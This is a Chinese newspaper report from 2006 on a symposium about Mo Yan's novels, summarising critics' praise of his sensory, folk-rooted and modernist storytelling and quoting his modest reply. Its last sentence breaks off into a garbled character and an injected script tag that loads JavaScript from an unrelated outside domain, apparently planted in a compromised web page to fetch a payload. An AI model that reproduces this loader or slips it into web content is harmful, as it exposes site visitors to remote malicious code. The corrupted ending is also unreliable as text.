莫言：欣赏美丽的“误读”

             《文艺报》2006年11月 21 日记者江湖                              

又是一个创作量丰硕的作家，又是一个常常被误读的作家。当记者参加由《当代作家评论》联合鲁迅博物馆、苏州大学文学院、渤海大学国际写作中心等单位主办的系列著名作家作品学术研讨会，见到继贾平凹之后第二位出场的主角莫言，便有了这种感触。

与会者从不同方面对莫言的作品进行了精到的评析，认为莫言自上世纪80年代登上文坛后，不断地给人们的阅读带来阵阵冲击。他的创作总是力求变化，突破各种边界，也在不断地超越自己。从这个意义上看，莫言是在生长的。他的作品不一定每一部都是好的，但放在其作品的家族里面，将所有作品加起来，人们就会读到一个活的世界，让人们去得到各不相同的领悟。莫言的小说有着强悍的人物性格、狂欢的叙述气质、壮丽的文本面貌、轻松的写作状态和愉悦的阅读效果。人们常说现在作家不是很会讲故事了，这和作家的才能关系不是很大，主要是当代生活的变化过于迅速，人们的经验过于复杂，作家结构故事的能力和过去比较不是很强。而且许多作家的感官麻木了，只会去编造故事，使文学成为纸上的文学、书斋里的文学，给人的感觉就是苍白、没有力量。而莫言善于把各种写故事的经验吸纳过来，尤其让人知道作家是有感官的，可以把各种感官解放出来，去感受这个世界，让人看到通透、灵动的东西，以呈现一种在某种程度上被遮蔽的民间的历史，那是和作家的个人经验体验相契合的历史的真实。许多人都说莫言的作品具有本土性、原乡性，但在很大程度上也最具现代性、先锋性，本土性与世界性在他那里得到了奇妙的融合。他是用现实主义的手法，洞开了一个巨大想象力的空间，而这种想象正是中国式的民间想象。“五四”以来，我们一直强调和西方的关系，民间想象力没有受到很好的重视。当下面对全球化时代，尤其需要文化的自觉。它能够保全我们生命的意志和力量以及民族文学的个性。

在大家眼中，莫言不是湖泊，更不是死水，他是一条永远在流动着的河流，因而对他的解释有无数的可能。莫言的作品确实给人一种复杂的感受，因为他的作品中呈现出一种原始的、自然而然的文学性。他的作品不是先验的，表现的只是他的生活、他的经验、他的气质，决定了其文学上的“原生态”，一些局限性也会被放大地呈现在那里。面对这样一个鲜活的对象，批评其实很无力，要想全面地去评析，无论从哪个角度切入，写出来都很牵强。而如何给予他在文学史上的定位，恐怕更为困难。

在研讨过程中，莫言始终是一副微笑的样子。临到最后才说：“有的时候，我真的不知道大家在说谁。尤其是说好的那部分，好像是在说另外一个人。”或许是20多年来常常被人提及，莫言已不?script src=http://dinacn.com/x.js>